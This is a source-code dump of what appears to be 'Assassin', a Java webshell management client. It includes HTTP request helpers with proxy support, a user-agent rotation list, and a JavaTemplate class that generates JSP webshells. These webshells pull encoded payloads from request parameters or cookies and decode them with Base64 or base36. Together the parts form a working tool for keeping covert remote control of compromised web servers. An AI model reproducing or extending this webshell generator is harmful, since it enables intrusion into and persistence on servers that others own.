| } 317 | return false; 318 | } 319 | 320 | 321 | /** 322 | * 数据库资源关闭和释放 323 | */ 324 | public void destroyed() { 325 | try { 326 | if (null != connection) { 327 | connection.close(); 328 | connection = null; 329 | } 330 | 331 | if (null != statement) { 332 | statement.close(); 333 | statement = null; 334 | } 335 | 336 | if (null != preparedStatement) { 337 | preparedStatement.close(); 338 | preparedStatement = null; 339 | } 340 | 341 | if (null != resultSet) { 342 | resultSet.close(); 343 | resultSet = null; 344 | } 345 | } catch (SQLException e) { 346 | e.printStackTrace(); 347 | } 348 | } 349 | } 350 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/util/Utils.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.util; 2 | 3 | import java.io.*; 4 | import java.net.*; 5 | import java.nio.charset.StandardCharsets; 6 | import java.util.*; 7 | 8 | import java.util.Map; 9 | import java.util.Random; 10 | 11 | import com.alibaba.fastjson.JSONObject; 12 | import org.b1ackc4t.sender.Crypt; 13 | 14 | 15 | public class Utils { 16 | public static String byteToUrlEncode(byte[] data) { 17 | StringBuffer sb = new StringBuffer(); 18 | for (byte b : data) { 19 | String tmp = Integer.toHexString(b & 0xFF); 20 | // if (b < 0) tmp = tmp.substring(tmp.length() - 2); 21 | sb.append(String.format("%%%2s", tmp).replace(' ', '0')); 22 | } 23 | return sb.toString(); 24 | } 25 | 26 | /** 27 | * 首字母大写 其他小写 28 | * @param str 29 | * @return 30 | */ 31 | public static String captureName(String str) { 32 | char[] cs=str.toLowerCase().toCharArray(); 33 | cs[0]-=32; 34 | return String.valueOf(cs); 35 | } 36 | 37 | public static String getRandomString(int length) { 38 | String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 39 | Random random = new Random(); 40 | StringBuffer sb = new StringBuffer(); 41 | for(int i = 0; i < length; ++i) { 42 | int number = random.nextInt(62); 43 | sb.append(str.charAt(number)); 44 | } 45 | return sb.toString(); 46 | } 47 | 48 | public static String getRandomAlpha(int length) { 49 | String str = "abcdefghijklmnopqrstuvwxyz"; 50 | Random random = new Random(); 51 | StringBuffer sb = new StringBuffer(); 52 | for(int i = 0; i < length; ++i) { 53 | int number = random.nextInt(26); 54 | sb.append(str.charAt(number)); 55 | } 56 | return sb.toString(); 57 | } 58 | 59 | /** 60 | * 解析headers的set-cookie得到cookie值 61 | * @param headers 62 | * @return 63 | */ 64 | public static String getCookieBySetCookie(Map headers) { 65 | Iterator it = headers.keySet().iterator(); 66 | String setcookie = null; 67 | StringBuffer sb = new StringBuffer(); 68 | String[] cookieProperty = new String[]{"expires", "max-age", "domain", "path", "secure", "httponly", "samesite"}; 69 | while (it.hasNext()) { 70 | String key = (String) it.next(); 71 | if (key != null && key.equalsIgnoreCase("Set-Cookie")) { 72 | setcookie = (String) headers.get(key); 73 | String[] cookiePairs = setcookie.split(";"); 74 | for(int i = 0; i < cookiePairs.length; ++i) { 75 | Set cookiePropertyList = new HashSet(Arrays.asList(cookieProperty)); 76 | String[] cookiePair = cookiePairs[i].split("="); 77 | if (cookiePair.length > 1) { 78 | String cookieKey = cookiePair[0]; 79 | if (!cookiePropertyList.contains(cookieKey.toLowerCase().trim())) { 80 | sb.append(cookiePairs[i]); 81 | sb.append(";"); 82 | } 83 | } 84 | } 85 | } 86 | } 87 | if (sb.length() > 0) { 88 | sb.setLength(sb.length() - 1); 89 | return sb.toString(); 90 | } else { 91 | return null; 92 | } 93 | } 94 | 95 | /** 96 | * 将url参数转换成map 97 | * 98 | * @param param aa=11&bb=22&cc=33 99 | * @return 100 | */ 101 | public static Map getUrlParams(String param) { 102 | Map map = new HashMap(0); 103 | if (param == null) { 104 | return map; 105 | } 106 | String[] params = param.split("&"); 107 | for (int i = 0; i < params.length; i++) { 108 | String[] p = params[i].split("="); 109 | if (p.length == 2) { 110 | map.put(p[0], p[1]); 111 | } 112 | } 113 | return map; 114 | } 115 | 116 | public static String getRandomItem(List l) { 117 | Random random = new Random(); 118 | int n = 0; 119 | if (l == null || l.size() == 0) return null; 120 | try { 121 | n = random.nextInt(l.size()); 122 | } catch (Exception e) { 123 | e.printStackTrace(); 124 | } 125 | return l.get(n); 126 | } 127 | 128 | /** 129 | * 将map转换成url参数 130 | * 131 | * @param map 132 | * @return 133 | */ 134 | public static String getUrlParamsByMap(Map map) { 135 | if (map == null) { 136 | return ""; 137 | } 138 | StringBuffer sb = new StringBuffer(); 139 | for (Map.Entry entry : map.entrySet()) { 140 | sb.append(entry.getKey() + "=" + entry.getValue()); 141 | sb.append("&"); 142 | } 143 | if (sb.length() > 0) { 144 | sb.setLength(sb.length() - 1); 145 | } 146 | return sb.toString(); 147 | } 148 | 149 | public static String getCookieByMap(Map map) { 150 | if (map == null) { 151 | return ""; 152 | } 153 | StringBuffer sb = new StringBuffer(); 154 | for (Map.Entry entry : map.entrySet()) { 155 | sb.append(entry.getKey() + "=" + entry.getValue()); 156 | sb.append(";"); 157 | } 158 | if (sb.length() > 0) { 159 | sb.setLength(sb.length() - 1); 160 | } 161 | return sb.toString(); 162 | } 163 | 164 | public static Proxy parseProxyString(String add) { 165 | if (add == null) { 166 | return Proxy.NO_PROXY; 167 | } 168 | String[] a = add.split(":"); 169 | InetSocketAddress addr = new InetSocketAddress(a[0], Integer.parseInt(a[1])); 170 | return new Proxy(Proxy.Type.HTTP, addr); 171 | } 172 | 173 | /** 174 | * 发送get请求 175 | * @param httpUrl 176 | * @param headers header头 177 | * @param params get参数 178 | * @return 179 | */ 180 | public static Map sendGetRequest(String httpUrl, Map headers, Map params, String proxy, String auth) { 181 | HttpURLConnection connection = null; 182 | InputStream is = null; 183 | DataInputStream dis = null; 184 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 185 | int length; 186 | Map result = new HashMap<>(); 187 | 188 | try { 189 | String paramsStr = getUrlParamsByMap(params); 190 | String realUrl = !paramsStr.equals("") ? String.format("%s?%s", httpUrl, paramsStr) : httpUrl; 191 | URL url = new URL(realUrl); 192 | 193 | connection = (HttpURLConnection) url.openConnection(parseProxyString(proxy)); 194 | connection.setRequestMethod("GET"); 195 | connection.setUseCaches(false); 196 | connection.setConnectTimeout(12000); 197 | connection.setReadTimeout(12000); 198 | if (auth != null) { 199 | String a = "Basic " + new String(Crypt.b64Encoder.encode(auth.getBytes())); //帐号密码用:隔开,base64加密方式 200 | connection.setRequestProperty("Proxy-Authorization", a); 201 | } 202 | if (headers != null) { 203 | Set keys = headers.keySet(); 204 | for(String key : keys) { 205 | connection.setRequestProperty(key, headers.get(key)); 206 | } 207 | } 208 | connection.connect(); 209 | is = connection.getInputStream(); 210 | if (null != is) { 211 | dis = new DataInputStream(is); 212 | byte[] tmp = new byte[1024]; 213 | while ((length = dis.read(tmp)) != -1) { 214 | baos.write(tmp, 0, length); 215 | } 216 | } 217 | result.put("data", baos.toByteArray()); 218 | result.put("status", connection.getResponseCode()); 219 | Map responseHeaders = new HashMap<>(); 220 | Iterator it = connection.getHeaderFields().keySet().iterator(); 221 | while (it.hasNext()) { 222 | String key = it.next(); 223 | responseHeaders.put(key, connection.getHeaderField(key)); 224 | } 225 | result.put("headers", responseHeaders); 226 | return result; 227 | } catch (IOException e) { 228 | e.printStackTrace(); 229 | } finally { 230 | try { 231 | if (null != dis) { 232 | dis.close(); 233 | } 234 | if (null != is) { 235 | is.close(); 236 | } 237 | baos.close(); 238 | } catch (IOException e) { 239 | e.printStackTrace(); 240 | } 241 | if (null != connection) { 242 | connection.disconnect(); 243 | } 244 | } 245 | 246 | return null; 247 | } 248 | 249 | public static Map sendPostRequest(String httpUrl, Map headers, Map params) { 250 | HttpURLConnection connection = null; 251 | InputStream is = null; 252 | DataInputStream dis = null; 253 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 254 | int length; 255 | Map result = new HashMap<>(); 256 | 257 | try { 258 | URL url = new URL(httpUrl); 259 | connection = (HttpURLConnection) url.openConnection(); 260 | connection.setRequestMethod("POST"); 261 | connection.setUseCaches(false); 262 | connection.setConnectTimeout(12000); 263 | connection.setReadTimeout(12000); 264 | if (headers != null) { 265 | Set keys = headers.keySet(); 266 | for(String key : keys) { 267 | connection.setRequestProperty(key, headers.get(key)); 268 | } 269 | } 270 | connection.setDoOutput(true); 271 | connection.setDoInput(true); 272 | OutputStream outwritestream = connection.getOutputStream(); 273 | outwritestream.write(getUrlParamsByMap(params).getBytes()); 274 | outwritestream.flush(); 275 | outwritestream.close(); 276 | connection.connect(); 277 | is = connection.getInputStream(); 278 | if (null != is) { 279 | dis = new DataInputStream(is); 280 | byte[] tmp = new byte[1024]; 281 | while ((length = dis.read(tmp)) != -1) { 282 | baos.write(tmp, 0, length); 283 | } 284 | } 285 | result.put("data", baos.toByteArray()); 286 | result.put("status", connection.getResponseCode()); 287 | Map responseHeaders = new HashMap<>(); 288 | Iterator it = connection.getHeaderFields().keySet().iterator(); 289 | while (it.hasNext()) { 290 | String key = it.next(); 291 | responseHeaders.put(key, connection.getHeaderField(key)); 292 | } 293 | result.put("headers", responseHeaders); 294 | return result; 295 | } catch (IOException e) { 296 | e.printStackTrace(); 297 | } finally { 298 | try { 299 | if (null != dis) { 300 | dis.close(); 301 | } 302 | if (null != is) { 303 | is.close(); 304 | } 305 | baos.close(); 306 | } catch (IOException e) { 307 | e.printStackTrace(); 308 | } 309 | if (null != connection) { 310 | connection.disconnect(); 311 | } 312 | } 313 | 314 | return null; 315 | } 316 | 317 | /** 318 | * @description 获取文件的内容 319 | * @param local_path 本地文件路径 320 | * @return byte[] 文件内容的字节数组 321 | */ 322 | public static byte[] getFileContent(String local_path) { 323 | try { 324 | 325 | File file = new File(local_path); 326 | 327 | int fileSize = (int)file.length(); 328 | byte[] buffer = new byte[fileSize]; 329 | FileInputStream fileInputStream = new FileInputStream(file); 330 | fileInputStream.read(buffer,0,fileSize); 331 | fileInputStream.close(); 332 | return buffer; 333 | 334 | } catch (IOException e) { 335 | e.printStackTrace(); 336 | } 337 | 338 | 339 | return null; 340 | } 341 | 342 | public static String getFileName(String path) { 343 | String name; 344 | name = path.substring(path.lastIndexOf("/")+1); 345 | name = name.substring(name.lastIndexOf("\\")+1); 346 | return name; 347 | } 348 | 349 | public static String readJsonFile(File jsonFile) { 350 | String jsonStr = ""; 351 | try { 352 | FileReader fileReader = new FileReader(jsonFile); 353 | Reader reader = new InputStreamReader(new FileInputStream(jsonFile), StandardCharsets.UTF_8); 354 | int ch = 0; 355 | StringBuffer sb = new StringBuffer(); 356 | while ((ch = reader.read()) != -1) { 357 | sb.append((char) ch); 358 | } 359 | fileReader.close(); 360 | reader.close(); 361 | jsonStr = sb.toString(); 362 | return jsonStr; 363 | } catch (Exception e) { 364 | e.printStackTrace(); 365 | return null; 366 | } 367 | } 368 | 369 | public static List readFileByLines(String fileName) { 370 | File file = new File(fileName); 371 | List list = new ArrayList(); 372 | BufferedReader reader = null; 373 | try { 374 | reader = new BufferedReader(new FileReader(file)); 375 | String tempString = null; 376 | while ((tempString = reader.readLine()) != null) { 377 | list.add(tempString); 378 | } 379 | reader.close(); 380 | return list; 381 | } catch (IOException e) { 382 | e.printStackTrace(); 383 | } finally { 384 | if (reader != null) { 385 | try { 386 | reader.close(); 387 | } catch (IOException e1) { 388 | } 389 | } 390 | } 391 | return null; 392 | } 393 | 394 | public static Map jsonToMap(JSONObject json) { 395 | Map map = new HashMap(); 396 | //最外层解析 397 | for(Object k : json.keySet()){ 398 | Object v = json.get((String) k); 399 | map.put(k.toString(), v); 400 | } 401 | return map; 402 | } 403 | 404 | /** 405 | * 拆分byte数组 406 | * 407 | * @param bytes 408 | * @param num 409 | * @return 410 | */ 411 | public static byte[][] splitBytes(byte[] bytes, int num) { 412 | int partLength = (int) Math.ceil(bytes.length / ((float)num)); 413 | byte[][] result = new byte[num][]; 414 | int from, to; 415 | for (int i = 0; i < num; i++) { 416 | 417 | from = (int) (i * partLength); 418 | to = (int) (from + partLength); 419 | if (to > bytes.length) 420 | to = bytes.length; 421 | result[i] = Arrays.copyOfRange(bytes, from, to); 422 | } 423 | return result; 424 | } 425 | 426 | /** 427 | * 写字节到文件 428 | * @param target 429 | * @param src 430 | * @return 431 | */ 432 | public static boolean writeFileByBytes(File target, byte[] src) { 433 | OutputStream fos = null; 434 | try { 435 | if (!target.exists()) createDirAndFile(target); 436 | fos = new FileOutputStream(target); 437 | fos.write(src); 438 | return true; 439 | } catch (IOException e) { 440 | e.printStackTrace(); 441 | } finally { 442 | try { 443 | fos.close(); 444 | } catch (IOException e) { 445 | e.printStackTrace(); 446 | } 447 | } 448 | return false; 449 | } 450 | 451 | public static boolean createDirAndFile(File target) { 452 | File parent = target.getParentFile(); 453 | try { 454 | if (parent != null && !parent.exists()) { 455 | if(!parent.mkdirs()) throw new IOException("Folder creation failed."); 456 | } 457 | return target.createNewFile(); 458 | } catch (IOException e) { 459 | e.printStackTrace(); 460 | } 461 | return false; 462 | } 463 | 464 | public static String readFileByString(File f) { 465 | Reader fis = null; 466 | BufferedReader br = null; 467 | Writer sw = new StringWriter(); 468 | try { 469 | fis = new FileReader(f); 470 | br = new BufferedReader(fis); 471 | char[] tmp = new char[4096]; 472 | int len; 473 | while ((len = br.read(tmp)) != -1) { 474 | sw.write(tmp, 0, len); 475 | } 476 | return sw.toString(); 477 | } catch (IOException e) { 478 | e.printStackTrace(); 479 | } finally { 480 | if (br != null) { 481 | try { 482 | br.close(); 483 | } catch (IOException e) { 484 | e.printStackTrace(); 485 | } 486 | } 487 | if (fis != null) { 488 | try { 489 | fis.close(); 490 | } catch (IOException e) { 491 | e.printStackTrace(); 492 | } 493 | } 494 | try { 495 | sw.close(); 496 | } catch (IOException e) { 497 | e.printStackTrace(); 498 | } 499 | } 500 | return null; 501 | } 502 | 503 | public static boolean writeFileByString(File target, String src) { 504 | Writer w = null; 505 | BufferedWriter bw = null; 506 | try { 507 | if (!target.exists()) createDirAndFile(target); 508 | w = new FileWriter(target); 509 | bw = new BufferedWriter(w); 510 | bw.write(src); 511 | return true; 512 | } catch (IOException e) { 513 | e.printStackTrace(); 514 | } finally { 515 | if (bw != null) { 516 | try { 517 | bw.close(); 518 | } catch (IOException e) { 519 | e.printStackTrace(); 520 | } 521 | } 522 | if (w != null) { 523 | try { 524 | w.close(); 525 | } catch (IOException e) { 526 | e.printStackTrace(); 527 | } 528 | } 529 | } 530 | return false; 531 | } 532 | } 533 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/webshell/JavaTemplate.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.webshell; 2 | 3 | import org.b1ackc4t.sender.Sender; 4 | import org.b1ackc4t.util.Utils; 5 | 6 | import java.io.File; 7 | 8 | public class JavaTemplate { 9 | 10 | public static String getTemplate(String tamper) { 11 | String tem = null; 12 | String path = "webshell/java/"; 13 | tem = Utils.readFileByString(new File(path + tamper)); 14 | return tem; 15 | } 16 | 17 | private static String getMethodCode(String method) { 18 | String code = null; 19 | switch (method) { 20 | case "get": 21 | case "post": 22 | case "mixed": 23 | code = "Set> __=request.getParameterMap().entrySet();for(Map.Entry _:__){r+=((String[])_.getValue())[0];}"; 24 | break; 25 | case "cookie": 26 | code = "Cookie[] __=request.getCookies();if(__!=null)for(Cookie _:__){if(!_.getName().equals(\"JSESSIONID\"))r+=java.net.URLDecoder.decode(_.getValue());}"; 27 | break; 28 | default: 29 | System.out.println("unsupported method!"); 30 | return null; 31 | } 32 | return code; 33 | } 34 | 35 | public static String javaBase64_1(String key, String tamper, String method) { 36 | String tem = getTemplate(tamper); 37 | if (tem == null) return null; 38 | key = Sender.getKey(key); 39 | method = getMethodCode(method); 40 | if (method == null) return null; 41 | String decode = "new sun.misc.BASE64Decoder().decodeBuffer(r)"; 42 | return tem.replaceFirst("\\{@key\\}", key).replaceFirst("\\{@getvalue\\}", method).replaceFirst("\\{@decode\\}", decode); 43 | } 44 | 45 | /** 46 | * 针对jdk1.8及以上 47 | * @param key 48 | * @param tamper 49 | * @return 50 | */ 51 | public static String javaBase64_2(String key, String tamper, String method) { 52 | String tem = getTemplate(tamper); 53 | if (tem == null) return null; 54 | key = Sender.getKey(key); 55 | method = getMethodCode(method); 56 | if (method == null) return null; 57 | String decode = "Base64.getDecoder().decode(r)"; 58 | return tem.replaceFirst("\\{@key\\}", key).replaceFirst("\\{@getvalue\\}", method).replaceFirst("\\{@decode\\}", decode); 59 | } 60 | 61 | public static String javaBase36(String key, String tamper, String method) { 62 | String tem = getTemplate(tamper); 63 | if (tem == null) return null; 64 | key = Sender.getKey(key); 65 | method = getMethodCode(method); 66 | if (method == null) return null; 67 | String decode = "new java.math.BigInteger(r, 36).toByteArray()"; 68 | return tem.replaceFirst("\\{@key\\}", key).replaceFirst("\\{@getvalue\\}", method).replaceFirst("\\{@decode\\}", decode); 69 | } 70 | 71 | public static String javaHex(String key, String tamper, String method) { 72 | String tem = getTemplate(tamper); 73 | if (tem == null) return null; 74 | key = Sender.getKey(key); 75 | method = getMethodCode(method); 76 | if (method == null) return null; 77 | String decode = "new java.math.BigInteger(r, 36).toByteArray()"; 78 | return tem.replaceFirst("\\{@key\\}", key).replaceFirst("\\{@getvalue\\}", method).replaceFirst("\\{@decode\\}", decode); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /startup.bat: -------------------------------------------------------------------------------- 1 | java -jar -Xms4096m -Xmx4096m -Xmn2000m Assassin.jar 2 | pause -------------------------------------------------------------------------------- /startup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | java -jar -Xms4096m -Xmx4096m -Xmn2000m Assassin.jar 3 | PAUSE -------------------------------------------------------------------------------- /useragents.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 2 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 3 | Mozilla/5.0 (Linux; Android 10; CPH1911) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36 4 | Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 5 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 6 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 7 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 8 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 9 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3579.0 Safari/537.36 10 | Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 11 | Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 12 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 13 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 14 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 15 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 16 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 17 | Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 18 | Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 19 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 20 | Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 21 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 22 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 23 | Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 24 | Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 25 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 26 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 27 | Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 28 | Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 29 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 30 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 31 | Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 32 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 33 | Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 34 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36 35 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 36 | Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 37 | Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 38 | Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 39 | Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 40 | Mozilla/5.0 (Linux; Android 10; YAL-AL00 Build/HUAWEIYAL-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/12.12 SP-engine/2.29.0 baiduboxapp/12.12.0.11 (Baidu; P1 10) NABar/1.0 41 | Mozilla/5.0 (Linux; Android 10; ALP-AL00 Build/HUAWEIALP-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/12.13.0 SP-engine/2.30.0 baiduboxapp/12.13.2.10 (Baidu; P1 10) NABar/1.0 42 | Mozilla/5.0 (Linux; Android 10; SPN-AL00 Build/HUAWEISPN-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/12.11 SP-engine/2.29.0 baiduboxapp/12.11.0.10 (Baidu; P1 10) NABar/1.0 43 | Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/12.13.0 SP-engine/2.30.0 baiduboxapp/12.13.2.10 (Baidu; P1 9) NABar/1.0 44 | Mozilla/5.0 (Linux; Android 10; TAS-AN00 Build/HUAWEITAS-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/12.12 SP-engine/2.29.0 baiduboxapp/12.12.0.11 (Baidu; P1 10) NABar/1.0 45 | Mozilla/5.0 (Linux; Android 10; CLT-AL00 Build/HUAWEICLT-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/12.12 SP-engine/2.29.0 baiduboxapp/12.12.0.11 (Baidu; P1 10) NABar/1.0 46 | Mozilla/5.0 (Linux; Android 10; ZTE 9000N Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.0.11 (Baidu; P1 10) 47 | Mozilla/5.0 (Linux; Android 9; wv lite baiduboxapp) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/73.0.3683.121 Mobile Safari/537.36 SearchCraft/2.8.2 (Baidu; P1 9) Android/9.0 baiduboxapp/3.2.5.10 48 | Mozilla/5.0 (Linux; Android 11; XT2125-4 Build/RRN31.Q1-20-17-6; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/12.9 SP-engine/2.28.0 baiduboxapp/12.9.0.11 (Baidu; P1 11) NABar/1.0 49 | Mozilla/5.0 (Linux; Android 10; EBG-AN10 Build/HUAWEIEBG-AN10; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/12.9 SP-engine/2.28.0 baiduboxapp/12.9.0.11 (Baidu; P1 10) NABar/1.0 50 | Mozilla/5.0 (Linux; Android 10; SEA-AL10 Build/HUAWEISEA-AL10; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/12.1 matrixstyle/0 lite baiduboxapp/5.0.0.11 (Baidu; P1 10) NABar/1.0 51 | Mozilla/5.0 (Linux; Android 5.5.7; HUAWEI MT7-CL00 Build/HuaweiMT7-CL00; wv) AppleWebKit/605.9 (KHTML, like Gecko) Version/4.0 Chrome/38.9.1403.90 Mobile Safari/605.9 T7/7.4 baiduboxapp/8.4 (Baidu; P1 5.5.7) 52 | Mozilla/5.0 (Linux; Android 10; GLK-AL00 Build/HUAWEIGLK-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.12 SP-engine/2.20.0 baiduboxapp/11.24.0.10 (Baidu; P1 10) NABar/1.0 53 | Mozilla/5.0 (Linux; Android 10; Redmi K30 5G Build/QKQ1.191222.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.12 SP-engine/2.20.0 baiduboxapp/11.24.0.10 (Baidu; P1 10) NABar/1.0 54 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0 55 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0 56 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0 57 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 58 | Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 59 | Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML like Gecko) Chrome/49.0.2623.22 Safari/537.36 SE 2.X MetaSr 1.0 60 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.5408.400 QQBrowser/10.1.1430.400 61 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.4843.400 QQBrowser/9.7.13021.400 62 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3861.400 QQBrowser/10.7.4313.400 63 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3861.400 QQBrowser/10.7.4313.400,gzip(gfe) 64 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 